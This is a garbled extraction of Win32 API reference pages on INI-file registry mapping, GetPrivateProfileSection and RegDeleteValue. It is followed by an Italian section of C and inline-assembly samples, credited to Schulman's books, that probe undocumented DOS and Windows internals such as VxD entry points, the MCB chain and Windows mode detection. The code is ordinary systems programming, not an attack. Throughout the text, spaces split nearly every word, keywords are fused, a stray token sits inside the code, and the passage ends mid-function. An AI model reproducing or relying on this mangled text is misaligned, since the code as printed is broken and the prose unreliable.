SYS: - t hi s pr ef i x st ands f or HKEY_LOCAL_MACHI NE\ SOFTWARE, and t he t ext af t er
t he pr ef i x i s r el at i ve t o t hat key.

An appl i cat i on usi ng t he Wr i t ePr i vat ePr of i l eSt r i ngWf unct i on t o ent er . I NI f i l e
i nf or mat i on i nt o t he r egi st r y shoul d f ol l ow t hese gui del i nes:


Ensur e t hat no . I NI f i l e of t he speci f i ed name exi st s on t he syst em.

Ensur e t hat t her e i s a key ent r y i n t he r egi st r y t hat speci f i es t he . I NI f i l e.
Thi s ent r y shoul d be under t he pat h HKEY_LOCAL_MACHI NE\ SOFTWARE
\ Mi cr osof t \ Wi ndows NT\ Cur r ent Ver si on\ I ni Fi l eMappi ng.

Speci f y a val ue f or t hat . I NI f i l e key ent r y t hat speci f i es a sect i on. That i s
t o say, an appl i cat i on must speci f y a sect i on name, as i t woul d appear wi t hi n an
. I NI f i l e or r egi st r y ent r y. Her e i s an exampl e: [ My Sect i on] .


For syst emf i l es, speci f y SYS f or an added val ue.

For appl i cat i on f i l es, speci f y USR wi t hi n t he added val ue. Her e i s an exampl e:
" My Sect i on: USR: App Name\ Sect i on" . And, si nce USR i ndi cat es a mappi ng under
HKEY_CURRENT_USER, t he appl i cat i on shoul d al so cr eat e a key under
HKEY_CURRENT_USER t hat speci f i es t he appl i cat i on name l i st ed i n t he added val ue.
For t he exampl e j ust gi ven, t hat woul d be " App Name" .

Af t er f ol l owi ng t he pr ecedi ng st eps, an appl i cat i on set up pr ogr amshoul d cal l
Wr i t ePr i vat ePr of i l eSt r i ngWwi t h t he f i r st t hr ee par amet er s set t o NULL, and t he
f our t h par amet er set t o t he I NI f i l ename. For exampl e:


Wr i t ePr i vat ePr of i l eSt r i ngW( NULL, NULL, NULL, L" appname. i ni " ) ;


Such a cal l causes t he mappi ng of an . I NI f i l e t o t he r egi st r y t o t ake ef f ect
bef or e t he next syst emr eboot . The oper at i ng syst emr e- r eads t he mappi ng
i nf or mat i on i nt o shar ed memor y. A user wi l l not have t o r eboot t hei r comput er
af t er i nst al l i ng an appl i cat i on i n or der t o have f ut ur e i nvocat i ons of t he
appl i cat i on see t he mappi ng of t he . I NI f i l e t o t he r egi st r y.

The f ol l owi ng sampl e code i l l ust r at es t he pr ecedi ng gui del i nes and i s based on
sever al assumpt i ons:


Ther e i s an appl i cat i on named " App Name. "

That appl i cat i on uses an . I NI f i l e named " appname. i ni . "

Ther e i s a sect i on i n t he . I NI f i l e t hat we want t o l ook l i ke t hi s:

[ Sect i on1]
Fi r st Key = I t al l wor ked out okay.
SecondKey = By gol l y, i t wor ks.
Thi r dKey = Anot her t est .


The user wi l l not have t o r eboot t he syst emi n or der t o have f ut ur e
i nvocat i ons of t he appl i cat i on see t he mappi ng of t he . I NI f i l e t o t he r egi st r y.

Her e i s t he sampl e code :



/ / i ncl ude f i l es
#i ncl ude <st di o. h>
#i ncl ude <wi ndows. h>

/ / a mai n f unct i on
mai n( )

{
/ / l ocal var i abl es
CHAR i nBuf [ 80] ;
HKEY hKey1, hKey2;
DWORD dwDi sposi t i on;
LONG l Ret Code;

/ / t r y t o cr eat e t he . I NI f i l e key
l Ret Code = RegCr eat eKeyEx ( HKEY_LOCAL_MACHI NE,
" SOFTWARE\ \ Mi cr osof t \ \ Wi ndows NT
\ \ Cur r ent Ver si on\ \ I ni Fi l eMappi ng\ \ appname. i ni " ,
0, NULL, REG_OPTI ON_NON_VOLATI LE, KEY_WRI TE,

NULL, &hKey1,
&dwDi sposi t i on) ;

/ / i f we f ai l ed, not e i t , and l eave
i f ( l Ret Code ! = ERROR_SUCCESS) {
pr i nt f ( " Er r or i n cr eat i ng appname. i ni key\ n" ) ;
r et ur n ( 0) ;
}

/ / t r y t o set a sect i on val ue
l Ret Code = RegSet Val ueEx ( hKey1,
" Sect i on1" ,
0,
REG_SZ,
" USR: App Name\ \ Sect i on1" ,

20) ;

/ / i f we f ai l ed, not e i t , and l eave
i f ( l Ret Code ! = ERROR_SUCCESS) {
pr i nt f ( " Er r or i n set t i ng Sect i on1 val ue\ n" ) ;
r et ur n ( 0) ;
}

/ / t r y t o cr eat e an App Name key
l Ret Code = RegCr eat eKeyEx ( HKEY_CURRENT_USER,
" App Name" ,
0, NULL, REG_OPTI ON_NON_VOLATI LE, KEY_WRI TE,
NULL, &hKey2,
&dwDi sposi t i on) ;


/ / i f we f ai l ed, not e i t , and l eave
i f ( l Ret Code ! = ERROR_SUCCESS) {
pr i nt f ( " Er r or i n cr eat i ng App Name key\ n" ) ;
r et ur n ( 0) ;
}

/ / f or ce t he oper at i ng syst emt o r e- r ead t he mappi ng i nt o shar ed memor y
/ / so t hat f ut ur e i nvocat i ons of t he appl i cat i on wi l l see i t
/ / wi t hout t he user havi ng t o r eboot t he syst em
Wr i t ePr i vat ePr of i l eSt r i ngW( NULL, NULL, NULL, L" appname. i ni " ) ;

/ / i f we get t hi s f ar , al l has gone wel l
/ / l et ' s wr i t e some added val ues

Wr i t ePr i vat ePr of i l eSt r i ng ( " Sect i on1" , " Fi r st Key" ,
" I t al l wor ked out okay. " , " appname. i ni " ) ;
Wr i t ePr i vat ePr of i l eSt r i ng ( " Sect i on1" , " SecondKey" ,
" By gol l y, i t wor ks. " , " appname. i ni " ) ;
Wr i t ePr i vat ePr of i l eSect i on ( " Sect i on1" , " Thi r dKey = Anot her Test . " ,
" appname. i ni " ) ;

/ / l et ' s t est our wor k
Get Pr i vat ePr of i l eSt r i ng ( " Sect i on1" , " Fi r st Key" ,
" Bogus Val ue: Get di dn' t wor k" , i nBuf , 80,

" appname. i ni " ) ;
pr i nt f ( " %s" , i nBuf ) ;

/ / okay, we ar e out t a her e
r et ur n( 0) ;

}


See Al so

Get Pr i vat ePr of i l eSt r i ng

GetPrivateProfileSection

The Get Pr i vat ePr of i l eSect i on f unct i on r et r i eves al l of t he keys and val ues f or
t he speci f i ed sect i on f r oman i ni t i al i zat i on f i l e. Thi s f unct i on i s pr ovi ded f or
compat i bi l i t y wi t h 16- bi t appl i cat i ons wr i t t en f or Wi ndows. Wi n32- based
appl i cat i ons shoul d st or e i ni t i al i zat i on i nf or mat i on i n t he r egi st r y.

Wi ndows 95:

The speci f i ed pr of i l e sect i on must not exceed 32K.

Wi ndows NT:

The speci f i ed pr of i l e sect i on has no si ze l i mi t .

DWORD Get Pr i vat ePr of i l eSect i on(
LPCTSTR l pAppName, / / addr ess of sect i on name

LPTSTR l pRet ur nedSt r i ng, / / addr ess of r et ur n buf f er
DWORD nSi ze, / / si ze of r et ur n buf f er
LPCTSTR l pFi l eName / / addr ess of i ni t i al i zat i on f i l ename
) ;

Par amet er s

l pAppName

Poi nt s t o a nul l - t er mi nat ed st r i ng cont ai ni ng t he sect i on name i n t he
i ni t i al i zat i on f i l e.

l pRet ur nedSt r i ng

Poi nt s t o a buf f er t hat r ecei ves t he key name and val ue pai r s associ at ed wi t h
t he named sect i on. The buf f er i s f i l l ed wi t h one or mor e nul l - t er mi nat ed
st r i ngs; t he l ast st r i ng i s f ol l owed by a second nul l char act er .

nSi ze

Speci f i es t he si ze, i n char act er s, of t he buf f er poi nt ed t o by t he
l pRet ur nedSt r i ng par amet er .

Wi ndows 95:

The maxi mumbuf f er si ze i s 32, 767 char act er s.

Wi ndows NT:

Ther e i s no maxi mumbuf f er si ze.

l pFi l eName

Poi nt s t o a nul l - t er mi nat ed st r i ng t hat names t he i ni t i al i zat i on f i l e. I f t hi s
par amet er does not cont ai n a f ul l pat h t o t he f i l e, Wi ndows sear ches f or t he
f i l e i n t he Wi ndows di r ect or y.

Ret ur n Val ues

The r et ur n val ue speci f i es t he number of char act er s copi ed t o t he buf f er , not
i ncl udi ng t he t er mi nat i ng nul l char act er . I f t he buf f er i s not l ar ge enough t o
cont ai n al l t he key name and val ue pai r s associ at ed wi t h t he named sect i on, t he
r et ur n val ue i s equal t o nSi ze mi nus t wo.

Remar ks

The dat a i n t he buf f er poi nt ed t o by t he l pRet ur nedSt r i ng par amet er consi st s of
one or mor e nul l - t er mi nat ed st r i ngs, f ol l owed by a f i nal nul l char act er . Each
st r i ng has t he f ol l owi ng f or mat :

key=st r i ng

The Get Pr i vat ePr of i l eSect i on f unct i on i s not case- sensi t i ve; t he st r i ng poi nt ed
t o by t he l pAppName par amet er can be a combi nat i on of upper case and l ower case
l et t er s.

Thi s oper at i on i s at omi c; no updat es t o t he speci f i ed i ni t i al i zat i on f i l e ar e
al l owed whi l e t he key name and val ue pai r s f or t he sect i on ar e bei ng copi ed t o
t he buf f er poi nt ed t o by t he l pRet ur nedSt r i ng par amet er .

Wi ndows NT:

Cal l s t o pr i vat e pr of i l e f unct i ons may be mapped t o t he r egi st r y i nst ead of t o
t he speci f i ed i ni t i al i zat i on f i l es. Thi s mappi ng occur s when t he i ni t i al i zat i on
f i l e and sect i on ar e speci f i ed i n t he r egi st r y under t he f ol l owi ng keys:

HKEY_LOCAL_MACHI NE\ Sof t war e\ Mi cr osof t \
Wi ndows NT\ Cur r ent Ver si on\ I ni Fi l eMappi ng

Thi s mappi ng i s l i kel y i f an appl i cat i on modi f i es syst em- component
i ni t i al i zat i on f i l es, such as CONTROL. I NI , SYSTEM. I NI , and WI NFI LE. I NI . I n t hese
cases, t he Get Pr i vat ePr of i l eSect i on f unct i on r et r i eves i nf or mat i on f r om t he
r egi st r y, not f r om t he i ni t i al i zat i on f i l e; t he change i n t he st or age l ocat i on
has no ef f ect on t he f unct i on' s behavi or .

The Wi n32 Pr of i l e f unct i ons ( Get / Wr i t ePr of i l e*, Get / Wr i t ePr i vat ePr of i l e*) use
t he f ol l owi ng st eps t o l ocat e i ni t i al i zat i on i nf or mat i on:

1. Look i n t he r egi st r y f or t he name of t he i ni t i al i zat i on f i l e, say myf i l e. i ni ,
under I ni Fi l eMappi ng:

HKEY_LOCAL_MACHI NE\ Sof t war e\ Mi cr osof t \
Wi ndows NT\ Cur r ent Ver si on\ I ni Fi l eMappi ng\ myf i l e. i ni

2. Look f or t he sect i on name speci f i ed by l pAppName. Thi s wi l l be a named val ue
under myf i l e. i ni , or a subkey of myf i l e. i ni , or wi l l not exi st .

3. I f t he sect i on name speci f i ed by l pAppName i s a named val ue under myf i l e. i ni ,
t hen t hat val ue speci f i es wher e i n t he r egi st r y you wi l l f i nd t he keys f or t he
sect i on.

4. I f t he sect i on name speci f i ed by l pAppName i s a subkey of myf i l e. i ni , t hen
named val ues under t hat subkey speci f y wher e i n t he r egi st r y you wi l l f i nd t he
keys f or t he sect i on. I f t he key you ar e l ooki ng f or does not exi st as a named
val ue, t hen t her e wi l l be an unnamed val ue ( shown as " <No Name>" ) t hat speci f i es
t he def aul t l ocat i on i n t he r egi st r y wher e you wi l l f i nd t he key.

5. I f t he sect i on name speci f i ed by l pAppName does not exi st as a named val ue or
as a subkey under myf i l e. i ni , t hen t her e wi l l be an unnamed val ue ( shown as " <No
Name>" ) under myf i l e. i ni t hat speci f i es t he def aul t l ocat i on i n t he r egi st r y
wher e you wi l l f i nd t he keys f or t he sect i on.

6. I f t her e i s no subkey f or myf i l e. i ni , or i f t her e i s no ent r y f or t he sect i on
name, t hen l ook f or t he act ual myf i l e. i ni on t he di sk and r ead i t s cont ent s.

When l ooki ng at val ues i n t he r egi st r y t hat speci f y ot her r egi st r y l ocat i ons,
t her e ar e sever al pr ef i xes t hat change t he behavi or of t he i ni f i l e mappi ng:

! - t hi s char act er f or ces al l wr i t es t o go bot h t o t he r egi st r y and t o t he . I NI
f i l e on di sk.

# - t hi s char act er causes t he r egi st r y val ue t o be set t o t he val ue i n t he
Wi ndows 3. 1 . I NI f i l e when a new user l ogs i n f or t he f i r st t i me af t er set up.

@- t hi s char act er pr event s any r eads f r omgoi ng t o t he . I NI f i l e on di sk i f t he
r equest ed dat a i s not f ound i n t he r egi st r y.

USR: - t hi s pr ef i x st ands f or HKEY_CURRENT_USER, and t he t ext af t er t he pr ef i x
i s r el at i ve t o t hat key.

SYS: - t hi s pr ef i x st ands f or HKEY_LOCAL_MACHI NE\ SOFTWARE, and t he t ext af t er
t he pr ef i x i s r el at i ve t o t hat key.

See Al so

Get Pr of i l eI nt

RegDeleteValue

The RegDel et eVal ue f unct i on r emoves a named val ue f r om t he speci f i ed r egi st r y
key.

LONG RegDel et eVal ue(

HKEY hKey, / / handl e of key
LPCTSTR l pVal ueName / / addr ess of val ue name
) ;

Par amet er s

hKey

I dent i f i es a cur r ent l y open key or any of t he f ol l owi ng pr edef i ned r eser ved
handl e val ues:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHI NE
HKEY_USERS

l pVal ueName

Poi nt s t o a nul l - t er mi nat ed st r i ng t hat names t he val ue t o r emove. I f t hi s
par amet er i s NULL or poi nt s t o an empt y st r i ng, t he val ue set by t he RegSet Val ue
f unct i on i s r emoved.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s ERROR_SUCCESS.

I f t he f unct i on f ai l s, t he r et ur n val ue i s a nonzer o er r or code def i ned i n
WI NERROR. H. You can use t he For mat Message f unct i on wi t h t he
FORMAT_MESSAGE_FROM_SYSTEM f l ag t o get a gener i c descr i pt i on of t he er r or .

Remar ks

The key i dent i f i ed by t he hKey par amet er must have been opened wi t h
KEY_SET_VALUE access ( KEY_WRI TE access i ncl udes KEY_SET_VALUE access) .

See Al so

RegSet Val ue


ALCUNI SEGRETI DI WINDOWS

Fi no ad or a l e api vi st e er ano r el at i ve al l e f unzi oni document at e.
Per mot i vi di mancat a si cur ezza nei conf r ont i del l a possi bi l i t di f ar r i mener e
pr esent i nel l e successi ve ver si oni di Wi ndows, al cune f unzi oni non sono st at e
document at e.
Qui ne vedr emo al cune r i por t ando anche i sor gent i C di al cune di l or o.

TESTA IL BIT PE (PROTECT ENABLE) NELLA MSW (Machine Status Word)

/ * bcc 2 pe. c */

#i ncl ude <st di o. h>

mai n( )
{
unsi gned msw;
unsi gned i opl ;

_asmpushf
_asmpop ax
_asmshr ax, 12
_asmand ax, 3
_asmmov wor d pt r i opl , ax
pr i nt f ( " I OPL=%d\ n" , i opl ) ;

_asmsmsw ax / * St or e Machi ne St at us Wor d: l ow CR0 */
_asmmov msw, ax
pr i nt f ( " PE ( pr ot ect enabl e) bi t %s\ n" ,
( msw & 1) ? " SET" : " NOT set " ) ;
r et ur n ( msw & 1) ;
}


Virtual-8086 (V86) VxD APIs

#i ncl ude <st di o. h>
#i ncl ude <dos. h>

t ypedef unsi gned char BYTE;
t ypedef unsi gned shor t WORD;
t ypedef unsi gned l ong DWORD;

t ypedef DWORD ( f ar *FUNCPTR) ( voi d) ;

/ / cal l t he Wi ndows " Get Devi ce Ent r y Poi nt Addr ess" f unct i on
/ / I nt er r upt 2Fh Funct i on 1684h
FUNCPTR Get Devi ceAPI ( WORD vxd_i d)
{
_asm{
push di
push es
xor di , di
mov es, di
mov ax, 1684h
mov bx, vxd_i d
i nt 2f h
mov ax, di
mov dx, es
pop es
pop di
}
/ / r et ur n val ue i n DX: AX
}

i nt I sEnhancedMode( voi d)
{
_asm{
mov ax, 1600h
i nt 2f h
t est al , 7f h
j z no
}
r et ur n 1;
no: r et ur n 0;
}
voi d f ai l ( const char *s, . . . ) { put s( s) ; exi t ( 1) ; }
i nt mai n( )
{
WORD i ;
FUNCPTR f p;

i f ( ! I sEnhancedMode( ) )
f ai l ( " Thi s pr ogr amr equi r es Wi ndows Enhanced mode" ) ;

put s( " Vi r t ual - 8086 ( V86) VxD API s: " ) ;
/ / f or each possi bl e devi ce i d, see i f t her e' s an API
f or ( i =0; i <0xf f f f ; i ++)
i f ( f p = Get Devi ceAPI ( i ) )
pr i nt f ( " %04Xh %Fp %0l X %02X\ n" ,
i , / / VxD I D
f p, / / V86 ent r y poi nt
( ( DWORD) FP_SEG( f p) << 4) + FP_OFF( f p) , / / l i near addr
*( ( BYTE f ar *) f p) ) ; / / byt e
( ARPL)
r et ur n 0;
}
Toy Win16 Server for FWORD.C (Win32->Win16 Thunk demo)

/ *
Wi n32 app can cal l I NT 21h, I NT 2Fh, or I NT 31h vi a I NTSERV

bcc - W- 3 - B i nt ser v. c

f r omSchul man, Unaut hor i zed Wi ndows, 1994
*/

#i ncl ude <st dl i b. h>
#i ncl ude <st di o. h>
#i ncl ude <dos. h>
#def i ne NOGDI
#i ncl ude " wi ndows. h"

st at i c char dummy; / / j ust somet hi ng t o t ake seg of

/ / st at i c var s: onl y one cal l er at a t i me
#def i ne SERVER( cal l s, i nt no) { \
st at i c char st ack[ 1024] ; \
st at i c unsi gned st ack_seg; \
st at i c unsi gned pr ev_seg; \
st at i c unsi gned l ong pr ev_of s; \
st at i c unsi gned pr ev_ds; \
_asm{ \
push ax; \
push bx; \
mov ax, ds; \
mov bx, seg dummy; \
mov ds, bx; \
mov st ack_seg, bx; \
mov pr ev_ds, ax; \
pop bx; \
pop ax; \
mov pr ev_seg, ss; \
mov dwor d pt r pr ev_of s, esp; \
mov ss, st ack_seg; \
mov sp, of f set st ack; \
add sp, 512; \
} \
cal l s++; \
_asm{ \
i nt i nt no; \
mov ss, pr ev_seg; \
mov esp, dwor d pt r pr ev_of s; \
mov ds, pr ev_ds; \
db 66h; \
r et f ; \
} \
}

unsi gned l ong cal l s21 = 0;
unsi gned l ong cal l s2F = 0;
unsi gned l ong cal l s31 = 0;

voi d ser ver 21( voi d) { SERVER( cal l s21, 0x21) ; }
voi d ser ver 2F( voi d) { SERVER( cal l s2F, 0x2F) ; }
voi d ser ver 31( voi d) { SERVER( cal l s31, 0x31) ; }

i nt PASCAL Wi nMai n( HANDLE hI nst ance, HANDLE hpr ev21I nst ance,
LPSTR l pszCmdLi ne, i nt nCmdShow)
{
char buf [ 120] ;
i nt l en;

l en = spr i nt f ( buf , " I NT 21h ser ver @%Fp\ n" , ( voi d f ar *) ser ver 21) ;
l en += spr i nt f ( buf +l en, " I NT 2Fh ser ver @%Fp\ n" , ( voi d f ar *) ser ver 2F) ;
l en += spr i nt f ( buf +l en, " I NT 31h ser ver @%Fp" , ( voi d f ar *) ser ver 31) ;
MessageBox( 0, buf , " I NTSERV" , MB_OK) ;

/ / ser ver s ar e act i ve unt i l cl i ck MB_OK above

l en = spr i nt f ( buf , " %l u cal l s t o I NT 21h ser ver \ n" , cal l s21) ;
l en += spr i nt f ( buf +l en, " %l u cal l s t o I NT 2Fh ser ver \ n" , cal l s2F) ;
l en += spr i nt f ( buf +l en, " %l u cal l s t o I NT 31h ser ver " , cal l s31) ;
MessageBox( 0, buf , " I NTSERV" , MB_OK) ;
r et ur n 0;
}

MAPPA I DEVICE IN MEMORIA

/ *
MAP. C
f r om" Undocument ed DOS" , 2nd edi t i on ( Addi son- Wesl ey, 1993)

bcc i nt vect . c map. c
bcc i nt chai n. c map. c
bcc - DTESTI NG map. c
*/

#i ncl ude <st dl i b. h>
#i ncl ude <st di o. h>
#i ncl ude <st r i ng. h>
#i ncl ude <dos. h>

t ypedef unsi gned char BYTE;
t ypedef unsi gned shor t WORD;
t ypedef unsi gned l ong DWORD;
t ypedef voi d f ar *FP;

#i f ndef MK_FP
#def i ne MK_FP( s, o) ( ( ( ( DWORD) s) << 16) + ( o) )
#endi f

#pr agma pack( 1)

t ypedef st r uct {
DWORD st ar t , end;
char name[ 9] ;
} BLOCK;

st at i c BLOCK *map;
st at i c i nt num_bl ock = 0;

i nt cmp_f unc( const voi d *b1, const voi d *b2)
{
i f ( ( ( BLOCK *) b1) - >st ar t < ( ( BLOCK *) b2) - >st ar t ) r et ur n - 1;
el se i f ( ( ( BLOCK *) b1) - >st ar t > ( ( BLOCK *) b2) - >st ar t ) r et ur n 1;
el se r et ur n 0;
}

t ypedef st r uct {
BYTE t ype; / * ' M' =i n chai n; ' Z' =at end */
WORD owner ; / * PSP of t he owner */
WORD si ze; / * i n 16- byt e par agr aphs */
BYTE unused[ 3] ;
BYTE name[ 8] ; / * i n DOS 4+ */
} MCB;

#def i ne I S_PSP( mcb) ( FP_SEG( mcb) + 1 == ( mcb) - >owner )

WORD get _f i r st _mcb( voi d)
{
_asmmov ah, 52h
_asmi nt 21h
_asmmov ax, es: [ bx- 2]
/ / r et val i n AX
}

t ypedef st r uct DEV {
st r uct DEV f ar *next ;
WORD at t r , st r at egy, i nt r ;
uni on {
BYTE name[ 8] , bl k_cnt ;
} u;
} DEV;

#def i ne I S_CHAR_DEV( dev) ( ( dev) - >at t r & ( 1 << 15) )

DEV f ar *get _nul _dev( voi d)
{
_asmmov ah, 52h
_asmi nt 21h
_asmmov dx, es
_asml ea ax, [ bx+22h]
/ / r et val i n DX: AX
}

i nt get _num_bl ock_dev( DEV f ar *dev)
{
/ / can' t r el y on # bl ock devi ces at SysVar s+20?
i nt num_bl k = 0;
do {
i f ( ! I S_CHAR_DEV( dev) )
num_bl k += dev- >u. bl k_cnt ;
dev = dev- >next ;
} whi l e( FP_OFF( dev- >next ) ! = ( WORD) - 1) ;
r et ur n num_bl k;
}

WORD get _umb_l i nk( voi d)
{
_asmmov ax, 5802h
_asmi nt 21h
_asmxor ah, ah
/ / r et ur n val ue i n AX
}

WORD set _umb_l i nk( WORD f l ag)
{
_asmmov ax, 5803h
_asmmov bx, f l ag
_asmi nt 21h
_asmj c er r or
_asmxor ax, ax
er r or : ;
/ / r et ur n 0 or er r or code i n AX
}

WORD get _dos_ds( voi d)
{
_asmpush ds
_asmmov ax, 1203h
_asmi nt 2f h
_asmmov ax, ds
_asmpop ds
/ / r et val i n AX
}

/ * f i nd I O. SYS segment wi t h bui l t - i n dr i ver s */
WORD get _i o_seg( voi d)
{
WORD i o_seg = 0;
DEV f ar *dev = get _nul _dev( ) ;
do {
i f ( I S_CHAR_DEV( dev) )
i f ( _f st r ncmp( dev- >u. name, " CON " , 8) == 0)
i o_seg = FP_SEG( dev) ; / / we' l l t ake t he l ast one
dev = dev- >next ;
} whi l e( FP_OFF( dev- >next ) ! = ( WORD) - 1) ;
r et ur n i o_seg;
}

st at i c i nt di d_i ni t = 0;

voi d do_i ni t ( voi d)
{
MCB f ar *mcb;
DEV f ar *dev;
WORD dos_ds, i o_seg, mcb_seg, next _seg, save_l i nk;
BLOCK *bl ock;
i nt bl k, i ;

map = ( BLOCK *) cal l oc( 100, si zeof ( BLOCK) ) ;
bl ock = map;

i o_seg = get _i o_seg( ) ;
bl ock- >st ar t = i o_seg << 4; bl ock- >end = ( DWORD) - 1;
st r cpy( bl ock- >name, " I O" ) ;
bl ock++;

dos_ds = get _dos_ds( ) ;
bl ock- >st ar t = dos_ds << 4; bl ock- >end = ( DWORD) - 1;
st r cpy( bl ock- >name, " DOS" ) ;
bl ock++;

/ / shoul d r eal l y check i f t her e I S an HMA!
bl ock- >st ar t = 0x100000L; bl ock- >end = 0x10FFEEL;
st r cpy( bl ock- >name, " HMA" ) ;
bl ock++;
num_bl ock = 3;

/ * wal k MCB chai n, l ooki ng f or PSPs, i nt er r upt owner s */
i f ( _osmaj or >= 4)
{
mcb_seg = get _f i r st _mcb( ) ;
mcb = ( MCB f ar *) MK_FP( mcb_seg, 0) ;

i f ( _osmaj or >= 5) / / be l azy; see ch. 7 f or DOS < 5
{
save_l i nk = get _umb_l i nk( ) ;
set _umb_l i nk( 1) ; / / access UMBs t oo
}

f or ( ; ; )
{
next _seg = mcb_seg + mcb- >si ze + 1;
i f ( I S_PSP( mcb) )
{
bl ock- >st ar t = ( ( DWORD) mcb_seg) << 4;
bl ock- >end = ( ( DWORD) next _seg) << 4;
_f st r ncpy( bl ock- >name, mcb- >name, 8) ;
bl ock- >name[ 8] = ' \ 0' ;
bl ock++;
num_bl ock++;
}
mcb_seg = next _seg;

i f ( mcb- >t ype == ' M' )
mcb = ( MCB f ar *) MK_FP( next _seg, 0) ;
el se
br eak;
}
}

/ * wal k devi ce chai n l ooki ng f or non- bui l t i n dr i ver s */
dev = get _nul _dev( ) ;
bl k = get _num_bl ock_dev( dev) ;
do {
MCB f ar *dev_mcb;
i f ( ( FP_SEG( dev) ! = dos_ds) && ( FP_SEG( dev) ! = i o_seg) )
{
bl ock- >st ar t = ( ( ( DWORD) FP_SEG( dev) ) << 4) + FP_OFF( dev) ;
dev_mcb = ( MCB f ar *) MK_FP( FP_SEG( dev) - 1, 0) ;
i f ( dev_mcb- >owner == 8)
{
dev = dev- >next ;
cont i nue;
}
i f ( dev_mcb- >t ype == ' M' )
bl ock- >end = bl ock- >st ar t + ( ( DWORD) dev_mcb- >si ze << 4) ;
el se
bl ock- >end = ( DWORD) - 1;
i f ( I S_CHAR_DEV( dev) )
{
_f st r ncpy( bl ock- >name, dev- >u. name, 8) ;
bl ock- >name[ 8] = ' \ 0' ;
}
el se
{
/ / t o det er mi ne dr i ve l et t er , have t o wor k backwar ds
/ / f r omnumber of bl ock devi ces
bl k - = dev- >u. bl k_cnt ;
bl ock- >name[ 0] = bl k + ' A' ;
bl ock- >name[ 1] = ' : ' ;
bl ock- >name[ 2] = ' \ 0' ;
}
bl ock++;
num_bl ock++;
}
dev = dev- >next ;
} whi l e( FP_OFF( dev- >next ) ! = ( WORD) - 1) ;

i f ( _osmaj or >= 5)
set _umb_l i nk( save_l i nk) ;

qsor t ( map, num_bl ock, si zeof ( BLOCK) , cmp_f unc) ;

f or ( i =0, bl ock=map; i <num_bl ock- 1; i ++, bl ock++)
i f ( bl ock- >end == ( DWORD) - 1)
bl ock- >end = map[ i +1] . st ar t ;
i f ( bl ock- >end == ( DWORD) - 1) / / l ast one
bl ock- >end = 0xFFFFFL;

di d_i ni t = 1;
}

char *f i nd_owner ( DWORD l i n_addr )
{
BLOCK *bl ock;
i nt i ;

i f ( ! di d_i ni t )
do_i ni t ( ) ;

f or ( i =0, bl ock=map; i <num_bl ock; i ++, bl ock++)
i f ( ( l i n_addr >= bl ock- >st ar t ) &&
( l i n_addr <= bl ock- >end) )
r et ur n bl ock- >name;

/ * st i l l her e */
r et ur n ( char *) 0;
}

#i f def TESTI NG
mai n( )
{
BLOCK *bl ock;
i nt i ;
do_i ni t ( ) ;
f or ( i =0, bl ock=map; i <num_bl ock; i ++, bl ock++)
pr i nt f ( " %08l X %08l X %s\ n" ,
bl ock- >st ar t , bl ock- >end, bl ock- >name) ;
}
#endi f

Detecting Windows mode, version from DOS

/ *
I SWI N. C
Andr ew Schul man, Febr uar y 1993
f r om" Undocument ed DOS" , 2nd edi t i on ( Addi son- Wesl ey, 1993)

bcc - DSTANDALONE i swi n. c
*/

#i ncl ude <st dl i b. h>
#i ncl ude <st di o. h>
#i ncl ude <dos. h>

#def i ne REAL_MODE 1
#def i ne STANDARD_MODE 2
#def i ne ENHANCED_MODE 3

#def i ne SYSTEM_VM 1

i nt det ect _swi t cher ( voi d)
{
i nt r et val = 1;
_asmpush di
_asmpush es
_asmxor bx, bx
_asmmov di , bx
_asmmov es, bx
_asmmov ax, 4b02h
_asmi nt 2f h
_asmmov cx, es
_asmor cx, di
_asmj e no_swi t cher
done:
_asmpop es
_asmpop di
r et ur n r et val ;
no_swi t cher :
r et val = 0;
got o done;
}

i nt i s_wi n( i nt *pmaj , i nt *pmi n, i nt *pmode)
{
unsi gned shor t r et val ;
i nt maj =0, mi n=0, mode=0;

/ * make sur e someone, anyone has I NT 2Fh */
i f ( _dos_get vect ( 0x2F) == 0)
r et ur n 0;

/ * cal l 2F/ 160A t o see i f Wi ndows 3. 1+ */
_asmmov ax, 160ah
_asmi nt 2f h
_asmmov r et val , ax
i f ( r et val == 0) / * AX=0 i f Wi ndows r unni ng */
{
_asmmov mode, cx / * CX=2 means St d; CX=3 means Enh */
_asmmov byt e pt r maj , bh / * BX = maj or / mi nor ( e. g. , 030Ah) */
_asmmov byt e pt r mi n, bl
*pmaj = maj ;
*pmi n = mi n;
*pmode = mode;
r et ur n 1;
}

/ * cal l 2F/ 1600 t o see i f Wi ndows 3. 0 Enhanced mode or Wi ndows/ 386 */
_asmmov ax, 1600h
_asmi nt 2f h
_asmmov byt e pt r maj , al
_asmmov byt e pt r mi n, ah
i f ( ( maj == 1) | | ( maj == 0xFF) ) / * Wi ndows/ 386 2. x i s r unni ng */
{
*pmaj = 2; / * Wi ndows/ 386 2. x */
*pmi n = 1; / * don' t know; assume 2. 1? */
*pmode = ENHANCED_MODE; / * Wi ndows/ 386 sor t of l i ke Enhanced */
r et ur n 1;
}
el se i f ( ! ( ( maj == 0) | | ( maj == 0x80) ) ) / * AL=0 or 80h i f no Wi ndows */
{ / * must be Wi ndows 3. 0 Enhanced mode */
*pmaj = maj ;
*pmi n = mi n;
*pmode = ENHANCED_MODE;
r et ur n 1;
}

/ * cal l 2F/ 4680 t o see i f Wi ndows 3. 0 St andar d or Real mode; but ,
t hi s coul d be a " 3. 0 der i vat i ve" such as DOSSHELL t ask swi t cher ! */
_asmmov ax, 4680h
_asmi nt 2f h
_asmmov r et val , ax
i f ( r et val == 0) / * AX=0 i f 2F/ 4680 handl ed */
{
/ * make sur e i t i sn' t DOSSHELL t ask swi t cher */
i f ( det ect _swi t cher ( ) )
r et ur n 0;
*pmaj = 3;
*pmi n = 0;

/ * ei t her have Wi ndows St andar d mode or Real mode; t o
di st i ngui sh, have t o do f ake Wi ndows br oadcast s wi t h
2F/ 1605. Yuk! We' l l avoi d t hat her e by assumi ng
3. 0 St andar d mode. I f you r eal l y want t o di st i ngui sh
3. 0 St andar d mode and Real mode, see _MSJ _, Mar ch 1991,
p. 113; and MS KB ar t i cl es Q75943 and Q75338 */
*pmode = STANDARD_MODE;
r et ur n 1;
}

/ * st i l l her e - - must not be r unni ng Wi ndows */
r et ur n 0;
}

#i f def STANDALONE
mai n( )
{
i nt maj , mi n, mode=0;
i f ( ! i s_wi n( &maj , &mi n, &mode) )
pr i nt f ( " Wi ndows i s not r unni ng\ n" ) ;
